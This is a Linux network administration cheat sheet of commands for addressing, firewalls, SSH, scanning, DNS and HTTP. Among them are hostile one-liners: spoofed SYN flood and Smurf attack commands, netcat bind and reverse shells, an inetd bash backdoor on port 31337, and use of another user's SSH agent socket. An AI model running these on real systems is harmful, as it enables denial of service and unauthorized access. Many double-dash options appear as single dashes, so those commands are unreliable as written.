Linux Network Administration

© 2021–08–09 Martin Bruchanov, `bruchy@gmail.com`

1. Open Systems Interconnection model vs. TCP/IP model

OSI Layer	Data	Protocols	TCP/IP Layer
7. Application	Data	Data generation (SMTP, NNTP, SSH, Telnet, HTTP)	Application
6. Presentation	Data	Encryption and formatting (JPEG, ASCII, EBDIC, GIF,...)	
5. Session	Data	Sync. & send to ports (RPC, SQL, NFS, NetBIOS)	
4. Transport	Segments	TCP/UDP, message segmentation, message traffic control	Transport
3. Network	Packets	Packets, IP addr., routing, subnet traffic (IPv4/6, ICMP)	Network
2. Data Link	Frames	Frame traffic control, sequencing (ARP, MAC)	Network Access
1. Physical	bits	Cables, hubs, physical medium transmission	

'**P**eople **D**on't **N**eed **T**hose **S**tupid **P**ackets **A**nymore!'

2. Internet Protocol (IP) Addresses

2.1. IPv4 addresses and mask

CIDR Notation:	192.168.1.130/25	
IPv4 (32bit):	192.168.1.130	`11000000.10101000.00000001.10000010`
Mask:	255.255.255.128	`11111111.11111111.11111111.10000000`
Subnet:	(IP and Mask)	`11000000.10101000.00000001.10000000`
Subnet:	192.168.1.128	
Usable Host Range:	192.168.1.129–254	
Broadcast Address:	192.168.1.255	

Use: `ipcalc`, `sipcalc` for IP/net calculations.

2.2. IPv6 addresses

- IPv6 (128bit) – `y : y : y : y : y : y : y : y`
- IPv6 with IPv4 part – `y : y : y : y : y : y : x . x . x . x`
- Access IPv6 URL – `http://[2a01:4f8:130:2192::2]`
- Zeroes can be ommitted:
  - Loopback: `00000:0000:0000:0000:000:0000:0000:0001` ≈ `0:0:0:0:0:0:0:1` ≈ `::1`
  - Multiple zero groups "`::`": `2001:0:0:0:0:0:0:ab` ≈ `2001::ab`
  - Use only one groups symbol: `2001:0:0:1:0:0:0:ab` ≈ `2001:0:0:1::ab` ≈ `2001::1:0:0:0:ab`
- IEEE EUI-64 identifier:
  1. Ethernet (Media Access Control) address: `38:c9:86:30:63:bf`
  2. Identificator: 0 local, 1 global.
  3. EUI-64 identifier: (`38 or identificator = 39`) **3ac9:86**ff:fe**30:63bf**
  4. Link-local address: `fe80::3ac9:86ff:fe30:63bf`

2.3. Reserved IP addresses

- Loopback: `127.0.0.1/8`; `::1/128`
- Unspecified address: `0.0.0.0/8`; `::/128`
- Multicast: `224.0.0.0/4`; `ff00::/8`
- Private: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`; `fc00::/7`
- Automatic Private IP: `169.254.0.0/16`
- IPv4 mapped addresses: `::ffff:0:0/96` (`::ffff:0.0.0.0` – `::ffff:255.255.255.255`)
- IPv4/IPv6 translation: `64:ff9b::/96`
- For documentation examples: `192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`; `2001:db8::/32`

2.4. Most common ports (`/etc/services`)

Privilege port < 1024 can be opened only by the root user!

- 20, 21 FTP
- 22 SSH (Secure Shell)
- 23 Telnet
- 25 SMTP
- 42 WINS
- 53 DNS
- 80, 8080 HTTP
- 88 Kerberos
- 110 POP3
- 111 Portmapper – Linux
- 119 NNTP (Network News)
- 123 NTP (Network Time Protocol)
- 135 RPC-DCOM
- 139 SMB
- 143 IMAP
- 161, 162 SNMP
- 389 LDAP
- 443 HTTPS (HTTP Secure)
- 445 CIFS
- 514 Syslog
- 636 Secure LDAP
- 1080 Socks5
- 1194 OpenVPN
- 1241 Nessus Server
- 1433, 1434 SQL Server
- 1494, 2598 Citrix Applications
- 1521 Oracle Listener
- 2512, 2513 Citrix Management
- 3306 MySQL
- 3389 RDP
- 5432 PostreSQL
- 6662–6667 IRC

3. Basic network setup

- Manage networking:
  - SysV Init script: `service network start/stop/restart`, `/etc/init.d/network start/stop/restart`
  - Systemd: `servicectl start/stop/restart NetworkManager.service`
- Set hostname:
  - `hostname` *name*
  - `nmcli general hostname` *name*
  - edit file `/etc/hostname`
  - `hostnamectl set-hostname` *name*
- Check hostname: `hostname`, `hostnamectl`
- Check if physical link exits: `ethtool eth0`
- Loop-back interface: `ifconfig lo 127.0.0.1`
- Loop-back route: `route add 127.0.0.1`
- List interfaces: `cat /proc/net/dev`, `netstat -ie`, `tcpdump -D`
- Show configuration: `ifconfig`, `ip addr show`, `ip link show`, `ip link list`
- Disable device: `ifconfig eth0 down`; `ip link set eth0 down`; `nmcli connection down eth0`
- Rename device (when disabled): `ip link set` *enp0s25* `name` *eth0*
- Enable device: `ifconfig eth0 up`; `ip link set eth0 up`; `nmcli connection up eth0`
- Set bigger Maximum transmission unit (MTU) 9000 bytes for `eth1`: `ifconfig eth1 mtu 9000 up`, `ip link set mtu 9000 eth1`
- Set IP address:
  - `ifconfig eth0 192.168.0.1`; `ip addr add 192.168.0.1 dev eth0`
  - `ifconfig eth0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255`
  - `ip addr add 192.168.0.1/24 broadcast 192.168.0.255 dev eth0`
  - `nmcli con add con-name eno2 type ethernet ifname eno2 ip4 192.168.0.5/24 gw4 192.168.0.254`
  - `dhclient -v eth0`
- Delete IP address: `ip addr del 192.168.0.1/24 dev eth0`
- Add alias interface: `ifconfig eth0:1 10.0.0.1/8`; `ip addr add 10.0.0.1/8 dev eth0 label eth0:1`
- Set promiscuous mode: `ifconfig eth0 promisc` (`-promisc` to disable); `ip link set eth0 promisc on/off`
- Change MAC address: `ifconfig eth0 hw ether AA:BB:CC:DD:EE:FF`; `ip link set dev eth0 address AA:BB:CC:DD:EE:FF`
- Default gateway:
  - `route add default gw 192.168.1.1 eth0`
  - `ip route add 192.168.1.0/24 dev eth0`
  - `ip route add 192.168.1.0/24 via 192.168.1.1`
- Kernel network parameters: `sysctl -a | grep net`
- Displaying RAW Network Statistics: `netstat -statistics -raw`
- Restart PCI/PCIe bus device `enp1s0`:
  - Find the number of slot: `find /sys/devices -name enp1s0` (and use it for following commands).
  - Remove device: `echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/0000:01:00.0/remove`
  - Rescan bus: `echo 1 > /sys/devices/pci0000:00/0000:00:1c.0/rescan`

3.1. Wi-Fi Networking

- List available devices: `lspci | grep -E -i --color 'wifi|wlan|wireless'`
- Scan available networks: `iwlist wlan0 scan`; `nmcli dev wifi`
- Display available channels: `iwlist wlan0 freq`
- Connect with WEP network: `iwconfig wlan0 essid` *"Network SSID"* `key` *HEX_KEY*
- Connect with WEP network: `iwconfig wlan0 essid` *"Network SSID"* `key s:`*ASCII_KEY*
- Connect with WEP network: `nmcli dev wifi connect` *"Network SSID"* `password '123...'`
- Connect with WPA: `wpa_supplicant -B -i wlan0 -DWext -c /etc/wpa_supplicant.conf`
- GUI configuration for WPA: `wpa_gui`
- Examples of WPA configuration: `man wpa_supplicant.conf`
- Watch signal quality: `watch -n 1 cat /proc/net/wireless` (link = SNR, level in dBm)

3.2. Configuration files of network interface settings

Stored in: `/etc/sysconfig/network-scripts/`*ifcfg-inteface*

Static	Dynamic	Either

`BOOTPROTO=none`
`IPADDR=192.168.0.2`
`PREFIX0=24`
`GATEWAY0=192.168.0.1`
`DEFROUTE=yes`
`DNS1=8.8.8.8`
	`BOOTPROTO=dhcp`	`DEVICE=eth0`
		`NAME="System eth0"`
		`ONBOOT=yes`
		`UUID=a1b1c122-2...`
		`USERCTL=yes`

3.3. NetworkManager, nmcli, nmtui

- Text user interface for NetworkManager: `nmtui`
- Manage service: `systemctl enable/disable/start/restart/stop NetworkManager.service`
- List all devices: `nmcli dev status`
- List all connections: `nmcli connection show`
- Show detail about connection: `nmcli con show eth0`
- Add connection: `nmcli con add con-name "default" type ethernet ifname eth0`
- Set IPv4: `nmcli con add con-name "static" ifname eth0 autoconnect no type ethernet ip4 172.125.X.10/24 gw 172.25.X.254`
- Set IPv4: `nmcli connection modify eth0 ipv4.addresses 10.0.0.2/8 ipv4.gateway 10.0.0.1`
- Activate/deactivate connection: `nmcli con up/down "static"`
- Reload configuration: `nmcli con reload`
- Disconnect interface and disable autoconnect: `nmcli device disconnect` *DEV*
- Disable all managed interfaces: `nmcli net off`
- Add, modify, delete connection: `nmcli con add / mod "ID" / del "ID"`
- Set DNS: `nmcli con modify eth0 ipv4.dns "8.8.8.8,8.8.4.4"`
- Set routes: `nmcli connection modify eth0 ipv4.routes "192.168.0.0/24 10.0.0.1, 192.168.1.0/24 10.0.0.1"`

3.4. DHCP (Dynamic Host Configuration Protocol)

- Configure device: `dhclient -v eth0`
- Release device configuration: `dhclient -r`
- See what DHCP server provides: `nmap -script broadcast-dhcp-discover`
- DHCP client data: `/var/lib/dhclient/dhclient.leases`

4. Network sockets of processes

- List active connections: `netstat -plunt`; `lsof -i`; `ss -tua`
- List all network files of the process: `lsof -i -a -p` *PID*
- List all UNIX listening ports: `netstat -lx`
- Display all active network connection: `netstat -na`
- List process communication on port: `lsof -i :22` / `lsof -i :ssh`
- Check PID binded on local port: `ss -lt`; `fuser -n tcp 22`
- Monitor net. communication of single proces: `strace -f -e trace=network -s 10000 -p` *PID*
- Monitor bandwidth of processes: `nethog`
- Color and interactive network monitor: `iptraf-ng`

5. Pinging with ICMP (Internet Control Message Protocol) and TCP

- For IPv6 use: `ping6`, `tracepath6`, `traceroute6`
- Ping n-times: `ping -c` *n host*, `hping3 -1 -c` *n host*
- Broadcast: `ping -b 10.0.0.255`
- Use different interface: `ping -I` *eth1*
- Trace route: `traceroute` *host*; `mtr -c 1 -r` *host*
- TCP ping 3× existing port: `hping3 -c 3 -p 443`
- Flood with SYN packets with spoofed source IP: `hping3 -S -P -U -flood -V -rand-source` *host*
- Smurf attack: `hping3 -1 -flood -a` *host*
- Use TCP instead: `tcptraceroute`, `tcping` *host port*
- See who is pinging: `tcpdump -i eth0 icmp`

6. Ethernet Bridge Manipulation

- Shows all current instances of the ethernet bridge: `brctl show`
- Create bridge *br0*: `brctl addbr br0`, `nmcli con add type bridge ifname br0`
- Add/remove interface: `brctl addif br0 eth1` / `brctl delif br0 eth1`
- Enable/disable Spanning Tree Protocol (STP): `brctl stp br0 on` / `off`
- Delete bridge: `brctl delbr br0`

7. ARP (Address Resolution Protocol)

- Show ARP table: `arp`; `ip neighbor list`; `cat /proc/net/arp`
- Clean ARP table: `ip -s neigh flush all`
- Add an entry in your ARP table:
  - `arp -i eth0 -s 192.168.0.1 00:11:22:33:44:55`
  - `ip neigh add 192.168.0.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0`
- Switch ARP resolution off on one device: `ifconfig -arp eth0`; `ip link set dev eth0 arp off`
- Delete entry in interface: `arp -i eth1 -d 10.0.0.1`
- arpping -I interface -c count destination

8. Routing

- Display routes: `ip route show`, `ip route list`, `netstat -rn`
- Set default gateway: `ip route add default via 192.168.1.1`, `route add default gw 192.168.1.1`
- Print host interfaces and routes: `nmap -iflist`
- Route IP range through eth0: `ip route add 192.168.1.0/24 dev eth0`
- Delete route: `ip route delete 192.168.1.0/24 dev eth0`
- Enable IP forwarding:
  - `echo "1" > /proc/sys/net/ipv4/ip_forward`
  - Save in `/etc/sysctl.conf` option `net.ipv4.ip_forward = 1`
- Static route configuration: `/etc/sysconfig/network-scripts/route-eth0`:
  - `default via 10.254.0.1 dev eth0`
  - `172.31.0.0/16 via 10.254.0.1 dev eth0`

9. Firewall

9.1. IPv4/IPv6 packet filtering and NAT – `iptables`

- For IPv6 use: `ip6tables`
- Print all rules: `iptables -S` , `iptables -L -v`
- Clear all configured rules: `iptables -F`
- Basic chains: `iptables -L | grep policy` ... INPUT, FORWARD, OUTPUT
- Accept connection on port *N*: `iptables -A input -p tcp -dport N -j ACCEPT`
- Accept connection from IP: `iptables -A input -p tcp -dport N -s IP/mask -j ACCEPT`
- Drop connection from `192.168.10.x`: `iptables -A INPUT -s 192.168.10.0/24 -j DROP`
- Block port *N* on `eth1`: `iptables -A INPUT -i eth1 -p tcp -destination-port N -j DROP`
- Enable SSH: `iptables -A INPUT -m tcp -p tcp -dport 22 -j ACCEPT`
- Enable SSH, HTTP, HTTPS: `iptables -A INPUT -p tcp -m state -state NEW -m multiport -dports ssh,http,https -j ACCEPT`
- Save iptables: `/sbin/iptables-save > /etc/sysconfig/iptables`, `/etc/init.d/iptables save`
- Network Address Translation (NAT) / Masquarage: `iptables -t nat -A POSTROUTING -s 10.200.0.0/24 -o eth0 -j MASQUERADE`
- Delete rule: `iptables -t nat -line-numbers -L` (list in table); `iptables -t nat -D PREROUTING 2` (delete 2nd line)
- Check banned host for sshd service: `fail2ban-client status sshd`

9.2. Dynamic Firewall Manager – `firewalld`

- Check status: `firewall-cmd -state`, `systemctl status firewalld`
- Print all rules: `firewall-cmd -list-all`
- List zones: `firewall-cmd -get-active-zones`, `firewall-cmd -get-zones`
- Get or set default zone: `firewall-cmd -get-default-zone`, `-set-default-zone=ZONE`
- Set default zone: `firewall-cmd -set-default-zone=ZONE`
- Without `-permament` option any changes will not be available after restart.
- Open TCP port in zone: `firewall-cmd -permanent -zone=ZONE -add-port=8080/tcp`
- Enable services: `firewall-cmd -permanent -add-service=http,https`
- Activate changes in configuration: `firewall-cmd -reload`
- Disable: `-remove-port=port/protocol`, `-remove-service=service`, `-remove-source=X.X.X.X/Y`
- Network Address Translation (NAT) / Masquarage: `firewall-cmd -zone=external -add-masquerade`
- Forward packets to other IP and port: `firewall-cmd -zone=external -add-forward-port=port=22:proto=tcp:toport=2055:toaddr=192.0.2.55`
- Rich language examples:
  - `firewall-cmd -permanent -add-rich-rule='rule family=ipv4 source address=172.25.X.10/32 service name="http" log level=notice prefix="NEW HTTP " limit value="3/s" accept '`
  - `firewall-cmd -permanent -add-rich-rule 'rule family=ipv4 source address=10.0.0.1/32 forward-port port=443 protocol=tcp to-port=22'`

10. Traffic monitoring

10.1. `tcpdump` – dump traffic on a network

- Display communication with HTTP: `tcpdump -i eth0 'tcp port 80'`
- Communication with HTTP, print all ASCII, truncate packet content to 1024 bytes: `tcpdump -vvv -s 1024 -l -A 'tcp port http'`
- Display all communication except SSH: `tcpdump -i eth0 'not port ssh'`
- Display frames at the data link layer: `tcpdump -e`
- Don't convert host addresses / ports to name: `tcpdump -n / -nn`
- Hexdump headers and data of each packet: `-X`, and header `-XX`
- Monitor source: `tcpdump -i eth0 src 192.168.10.1`
- Monitor destination: `tcpdump -i eth0 dst 192.168.10.1`
- Monitor network: `tcpdump -i eth0 net 192.168.10.1/24`
- DNS packets: `tcpdump udp and src port 53`
- Capture communication on `eth1` to file: `tcpdump -ni eth1 -w file.cap`
- Capture telnet and ssh: `tcpdump -n portrange 22-23`
- Check packet filter syntax: `man pcap-filter`
- See HTTP requests: `tcpdump -v -n -l | grep -E -i "POST /|GET /|Host:"`

11. Remote shells

11.1. Secure SHell (SSH)

- Connect: `ssh -l login -p port hostname`, `ssh login@hostname`
- Use only password authenication: `ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no login@hostname`
- Escape character sequences, press Enter, then '`~`' followed by a command:
  - `~?` – Display a list of escape characters.
  - `~.` – Terminate connection.
  - `~Ctrl-z` – suspend ssh process, use `fg` to enable it again.
  - `~B` – send a BREAK to the remote system.
  - `~C` – open a command line (use `help`) for port forwarding options.
- Connect over list of jumboxes: `ssh -J user1@host1:port1,user2@host2:port2 user3@target -p port3`
- Connect over bastion to target:2222: `ssh -o ProxyCommand="ssh -i ~/.ssh/id_rsa user@bastion -W %h:%p" user@target -p2222`
- Local port transfer – remote port will be available locally:
  - `ssh -L LocalPort:RemoteIP:RemotePort host`
  - `ssh -L LocalIP:Localport:RemoteIP:RemotePort host`
- Remote port transfer – local port will be available on remotely:
  - `ssh -R RemotePort:LocalIP:LocalPort host`
  - `ssh -R RemoteIP:Remoteport:LocalIP:LocalPort host`
  - Bind forwarded port on local address: `GatewayPorts yes` in `/etc/ssh/sshd_config`
- Dynamic port transfer – creation of SOCKS proxy:
  - `ssh -D LocalAddress:LocalPort host`, `ssh -D 1080 host`
  - Use LocalAddress:LocaPort as SOCKS proxy and all request will be forwarded through host.
  - `curl -user-agent "Mozilla" -socks4 localhost:1080 http://www.whatsmyip.org/`
  - SSH via SOCKS proxy: `ssh -o ProxyCommand='nc -proxy-type socks4 -proxy 127.0.0.1:1080 %h %p' user@target`
  - Set SOCKS proxy in shell: `export http_proxy=socks5://127.0.0.1:1080; export https_proxy=$http_proxy`
  - HTTP to SOCKS proxy: `npm install -g http-proxy-to-socks; hpts -socks 127.0.0.1:9000 -p 8080`
- Remote filesystem: `sshfs -o allow_other,defer_permissions,IdentityFile=~/.ssh/id_rsa user@xxx.xxx.xxx.xxx:/ /mnt/droplet`
- Copy remote stdout to your X11 buffer: `ssh user@host 'cat /path/to/some/file' | xclip`
- Compare local and remote file: `diff ~/.bashrc <(ssh work cat ~/.bashrc)`
- Check detailed SystemD logs for SSH daemon: `journalctl -u sshd`
- Display server settings: `sshd -T | sort | less`

11.1.1. SSH key handling

- Generate 4096bit key with comment: `ssh-keygen -t rsa -b 4096 -C "Top secret key"`
- Generate public key from private: `ssh-keygen -y -f private.pem > public.pub`
- Permissions: `chmod 700 ~/.ssh`; `chmod 600 ~/.ssh/authorized_keys`
- Copy key to host: `ssh-copy-id user@host`; `cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'`
- Holds SSH keys in memory for 8 hours: `ssh-agent -t $((8*3600))`
- Add key to agent: `ssh-add ~/.ssh/id_rsa` (will ask for passphrase once in time life)
- Forward SSH agent: `ssh -A hostname`
- Connect to SSH *host* via *server*: `ssh -At server 'ssh host'`
- Scan machine public key, with timeout 1 second: `ssh-keyscan -T 1 -p port host`
- Use somebody's else SSH agent: `export SSH_AUTH_SOCK=/tmp/ssh-uSU1Oq9ek5/agent.17339; ssh-add -l; ssh user@hostname`

12. Remote desktop

- X11 SSH tunnel: `ssh -X host`, `ssh -Y host` (trusted)
- X11 redirection:
  - on remote, redirect display: `export DISPLAY=YOUR_IP:0.0`
  - on local, enable connection: `xhost +REMOTE_IP`
- Windows remote desktop: `rdesktop -u USER -d DOMAIN -g 1024x768 -r disk:local=~hostname`
- Windows remote desktop: `xfreerdp /u:"User name" /drive:home,/home/user /v:hostname:3389`
- Other options: X2Go, VNC, NoMachine NX.

12.1. TELNET

- Connect: `telnet hostname port`
- Set login name: `telnet -l login hostname`
- Enter command mode: `Ctlr-]`
- Commands: `quit`, `logout`, `user login`, `open host port`

13. Remote file systems

13.1. Common Internet Filesystem (CIFS/SaMBa)

- Mount share: `mount -t cifs '\\server\share' /mnt/local -o user={\sl DOMAIN/USER}`
- List shares on *host*, *IP*: `smbclient -L host`, `smbclient -I IP`
- Connect to SMB host prompt: `smbclient '\\server\share' -U user mypasswd`
- `smbclient` commands: `ls, dir, lcd, cd, pwd, get, mget, rm, quit`
- Download file over SMB: `smbget`
- List the current Samba connections on server: `smbstatus`
- Permanent mount in `/etc/fstab`: `//server/share /mnt/local cifs username=USER,password=PASS,rw 0 0`
- Unmount all CIFS filesystems: `umount -a -t cifs -l`

13.2. Network File System (NFS)

- User must have same UID and GID on server and localhost.
- Server configuration stored in `/etc/export`:
  - Share directory with client IP: `/mnt/share 192.168.0.100(rw,sync,no_root_squash)`
  - `ro` read-only, `rw` read-write, `sync` , `no_root_squash` allow root, `no_subtree_check`
- List connected clients: `netstat | grep nfs`
- Remote check: `rpcinfo -s bee | grep -E 'nfs|mountd'`
- Show network statistics: `nfsstat`
- Show server's export list: `showmount -e`
- Mount remote directory: `mount -t nfs 192.168.0.99:/mnt/share /mnt/local`
- Permanent mount in `/etc/fstab`: `192.168.0.99:/mnt/share /mnt/local nfs rsize=8192,wsize=8192,timeo=14,intr,tcp 0 0`

14. File transfer

14.1. File transfer protocol (FTP)

- Connect: `ftp hostname`
- Commands: `ascii` (default), `binary` (set transfer mode for binary files), `bye`, `cd`, `cdup`, `close`, `delete`, `dir`, `get`, `lcd`, `ls`, `mget`, `mput`, `open`, `proxy`, `put`, `pwd`, `rmdir`, `verbose`
- Other linux CLI clients: `lftp`, `ncftp`, `curl`, `wput`

14.2. rsync

- Usage: `rsync source destination`
- Tunnel through SSH on port 2222: `rsync -avHPS -rsh="ssh -p 2222" source user@host:/dest/dir`
- `rsync` CLI options:
  - `-v, -verbose` – increase amount of output information
  - `-a, -archive` – archive mode, equals `-rlptgoD`
  - `-r, -recursive` – recursive into directories
  - `-l, -links` – copy symlinks as symlinks
  - `-L, -copy-links` – transform symlink into referent file/dir
  - `-p, -perms` – preserve permissions

  - `-t, -times` – preserve timestamp
  - `-g, -group; -o, -owner` – preserve group, owner
  - `-D` – synchronize device files
  - `-H, -hard-links` – preserve hard links
  - `-P, -partial -progress` – keep partial files (for resuming transfer)
  - `-S, -sparse` – handle sparse files efficiently
  - `-dry-run` – perform a trial run with no changes made
  - `-bwlimit=100` – limit transferring speed to 100 kB/s
  - `-delete` – delete files that are not in source directory
  - `-remove-source-files` – delete file after transfer

14.3. SCP/SFTP

- Copy to remote, SSH on port 2222: `scp -P 2222 file.txt user@hostname.com:/home/user/`
- Log to SFTP on port 2222: `sftp -P 2222 user@hostname.com`
- Run batch on SFTP transfer: `sftp -b batchfile.txt user@hostname.com`

15. Network Mapper, net and port scanning

- Scan multiple IP addresses: `nmap 192.168.1.1-254`, `nmap 192.168.1.*`, `nmap 192.168.1.0/24`
- Scan IP range for open HTTP port, grepable output to stdout: `nmap --open -p80 10.0.0.0/24 -oG -`
- Scan hosts given in file: `nmap -iL list.txt` (host, network, IP per like)
- Scan IPv6 network: `nmap -6`
- Scan ports: `-p 22`, `-p 1-1024`, `-F` (only most common ports), `-p-` (1-65535), `-p U:53,111,137,T:21-25,80` (given TCP/UDP ports)
- Detect OS and services: `-A`, `-sV` (standard), `-sV -version-intensity 5` (aggresive)
- Aggressive (`-T4`) OS and services version detection: `nmap -v -A -T4 172.31.224.10`
- Scan a firewall for MAC address spoofing: `nmap -v -sT -PN -spoof-mac 11:22:33:AA:BB:CC 192.168.1.1`
- Give up scan after 1 minute: `-host-timeout 1m`
- Wait 5 seconds between probes: `-scan-delay 5s`
- Never do DNS resolution / Always resolve: `-n` / `-R`
- Scan using default safe script: `nmap -sV -sC 10.0.0.1`
- Scan via SOCKS proxy: `nmap -sV -Pn -n -proxies socks4://127.0.0.1:1080 scanme.nmap.org`
- Using Nmap Scripting Engine (NSE):
  - List installed scripts: `locate .nse`, `rpm -ql nmap`, `dpkg -S nmap`
  - Traceroute with geolocation: `nmap -traceroute -script traceroute-geolocation.nse` *host*
  - Brufe-force find of interesting server files and directories: `nmap -script http-enum www.host.com`
  - Scan network for HTTP servers: `nmap -script http-title -sV -p 80 192.168.0.0/24`
  - Find network SMB shares: `nmap -p 445 -script smb-os-discovery 192.168.0.0/24`
  - Perform all HTTP related scripts: `nmap -script http-* scanme.nmap.org`
- Generate TCP packets: `nping -c 1 -tcp -p 80,433 scanme.nmap.org`
- Save scan to files output.gnmap (grepable), output.nmap (text), output.xml (XML): `nmap -oA output -p-` *host*
- Compare two nmap's XML outputs: `ndiff scan1.xml scan2.xml`
- Check uptime of remote host (TCP timestamp): `hping3 -tcp-timestamp -S google.com -p 80 -c 3`
- Scan open services on port range 1–1024: `hping3 -scan 1-1024 -S` *host*

15.1. netcat – Concatenate and redirect sockets

- Connect to port 80: `nc www.google.com 80`
- netcat default port, if `-p` it is not specified: 31337
- Protocols: `-tcp`, `-udp`, `-sctp`, `-ssl`, `-4`, `-6`
- Listen on TCP port 1234: `nc -v -k -l 1234`, UDP port: `nc -v -k -ul 1234`
- Allow/deny: `-allow 192.168.0.0/24`, `-deny 10.0.0.0/8`
- Transfer file:
  - Sender: `cat file.txt | nc -v -l -p 5555`
  - Receiver: `nc` *host* `5555 > file_copy.txt`
- Remote shell:
  - Server: `nc -v -l -e /bin/bash`
  - Client: `nc` *host*, `telnet` *host* `31337`
- Reverse telnet:
  - Computer with public IP: `nc -vv -l`
  - Computer behind firewall: `nc -v` *public_host* `-e /bin/bash`

16. bash – network support for shell scripting

- Special filenames: `/dev/tcp/`*host*`/`*port*, `/dev/udp/`*host*`/`*port*
- Open file descriptor 3 for TCP: `exec 3<>/dev/tcp/www.root.cz/80`
- Generate HTTP request: `echo -en "GET /unix/ HTTP/1.1\r\nHost: www.root.cz\r\n\r\n" >&3`
- Read from file descriptor 3: `cat <&3`
- Close descriptor 3: `exec 3>&-`
- Check open descriptors for current shell: `ls -l /proc/$$/fd`

17. Domain Name Service (DNS)

- Local names definition: `/etc/hosts`
- Sources of name resolution: `/etc/nsswitch.conf`
- Resolver configuration file – `/etc/resolv.conf`:

```
        nameserver 8.8.8.8
        nameserver 8.8.4.4
        search .mydomain.com
```

- Look up the IP address: `host` *name*, `nslookup` *name*, `dig +short` *name*
- Get DNS record: `dig` *name*, `host -a` *name*
- Get entries from Name Service Switch libraries: `getent`
- Test resolution with `/etc/hosts`: `getent hosts` *name*
- Return hostname for IP: `dig -x 10.32.1.10 +short`
- Return IP for *hostname*: `dig` *hostname* `+short`
- Scan network for DNS records: `for i in 192.168.10.{1..254}; do echo -e $i`
  `t $(dig +short -x $i); done`
- Get specific DNS record: `dig -t` *record hostname/domain*, `host -t` *record hostname/domain*
  - `A / AAAA` – return 32/128 bit address for host
  - `CNAME` – aliases of hostname, can point to A
  - `MX` – mail exchanger record
  - `NS` – specify authoritative nameserver for domain
  - `PTR` – pointer records for reverse lookup (addr->host)
  - `SOA` – Start of Authority, name of the server that supplied the data for the zone
- User given DNS server 8.8.8.8: `dig @8.8.8.8` *hostname*, `host` *hostname* `8.8.8.8`
- Ask root name server for a record: `dig @a.root-servers.net example.com` (will return authority DNS for domain)
- Get DNSSEC root keys: `dig . DNSKEY | grep -Ev '^($|;)' > root.keys`
- Verify DNSSEC of *root.cz* A record: `dig +sigchase +trusted-key=./root.keys www.root.cz A`
- Scan for DNS in local network: `nmap --script=dns-service-discovery -p 53,5353 172.31.224.0/24 -oG - | grep open`

18. WHOIS service

- Client to access WHOIS service: `whois`, `jwhois`
- Query domain on given WHOIS server: `whois -h whois.nic.cz seznam.cz`
- Check who owns current IP address range/domain: `whois` *IP* / `whois` *domain*
- Get all subnets for specific AS (Autonomous system): `whois -h whois.radb.net -- -i origin AS855 | grep route`

19. HTTP(S) (Hypertext Transfer Protocol [SECURE])

- URL format: `http://user:password@domain:port/path?query#fragment_id`
- Mirror site: `wget -e robots=off -r -L` *URL*,
- Display HTTP header: `curl -I` *URL*, `wget -S` *URL*
- Download file: `curl -O` *URL/file*, `wget` *URL/file*
- Write output to file: `curl -o file` *URL*
- List directory: `curl -s` *URL* `-list-only`
- Authenticate: `curl -u` *user:password URL*, `wget -user` *user* `-password` *pass URL*
- Save cookies to file: `wget -q -cookies=on -keep-session-cookies -save-cookies=cookie.txt` *URL*
- Use saved cookies: `wget -nv -content-disposition -referer= -cookies=on` *URL*
- Download URL and display it in stdout: `curl` *URL*, `wget -q -O -` *URL*
- Download script and execute: `wget -q -O - https://server/script.sh | bash -x -v`
- Resume broken download: wget -c *URL*, `curl -L -O -C -` *URL*
- Change referer and browser id.: `wget -referer` *URL* `-user-agent "Mozilla/5.0 (compatible; Linux)"`
- Set HTTP header: `curl -H "Content-Type: application/xml"` *URL*
- Send cookie: `curl -H "Cookie: name1=value; name2=another"` *URL*, `curl -cookie "name1=value; name2=another"` *URL*
- POST request: `curl -X POST -d 'name1=value&name2=another'` *URL*
- Form upload file: `Z curl -form upload=@`*localfilename* `-form press=OK` *URL*
- Enable HTTP proxy in shell: `export http_proxy=http://foo:bar@202.54.1.1:3128/`
- Use the same for HTTPS: `export https_proxy=$http_proxy`
- Convert page to text: `elinks -dump` *URL*, `lynx -dump` *URL*
- Start HTTP server on port 9000 and share the current directory: `python3 -m http.server 9000`
- Nginx test configuration: `nginx -t -c` *config*, dump config: `nginx -T`
- Check provided SSLv3/TLS ciphers: `nmap -sV -script ssl-enum-ciphers -p 443` *hostname*

20. OpenSSL

- Generate random sequences: `openssl rand -base64 8`
- Display server certificate: `openssl s_client -showcerts -connect google.com:443`
- Generate certificate: `openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt`
- Check SSL key MD5: `openssl rsa -noout -modulus -in server.key | openssl md5`
- Check expiration date: `echo | openssl s_client -showcerts -connect google.com:443 2>&1 | openssl x509 -noout -dates`
- Set 3 second timeout to previous command: `echo | timeout 3 openssl s_client...`
- Get information about certificate file: `openssl x509 -in certificate.crt -noout -text`
- Export certificate from PKCS#12 (password 123456): `openssl pkcs12 -in file.p12 -out crt.pem -clcerts -nokeys -passin 'pass:123456'`
- Export key from PKCS#12: `openssl pkcs12 -in file.p12 -out key.pem -nocerts -nodes -passin 'pass:123456'`

21. Network Time Protocol (NTP)

- NTP query program: `ntpq tik.cesnet.cz`
- Get server variables: `ntpq -i tik.cesnet.cz <<< "cl"`
- Show network time synchronisation status: `ntpstat`
- Set date from server: `ntpdate -s time.nist.gov`

22. Remote Procedure Call (RPC)

- Report RPC information: `rpcinfo -p localhost`

23. Internet daemon, TCP wrappers – inetd, xinetd

- Open port for remote access: `echo "31337 stream tcp nowait` *userid* `/bin/bash bash -i" >> /tmp/config.conf; /usr/sbin/inetd /tmp/config.conf`
- Host access control file: `/etc/hosts.allow`:
  - Format: *deamon_list* `:` *client_list*
  - Comments starts with: `#`
  - All client from specified domain: `ALL : .domain.com`
  - Range of IPs for SSH: `sshd : 192.168.122.0/255.255.255.0 EXCEPT 192.168.122.150`
  - Rule for more services: `rpc.mountd, in.tftpd : 192.168.100.100`
  - Daemon configuration in additional file: `vsftpd: /etc/myftp.hosts`
  - Content of `/etc/myftp.hosts`: `192.168.0.0/255.255.255.0`
- Deny access control file `/etc/hosts.deny`:
  - Deny all services except TFTP for given domain: `ALL EXCEPT in.tftpd : .domain.com`
  - Only one IP can access SSH: `sshd : ALL EXCEPT 192.168.122.150`
  - All other services deny for all: `ALL : ALL`

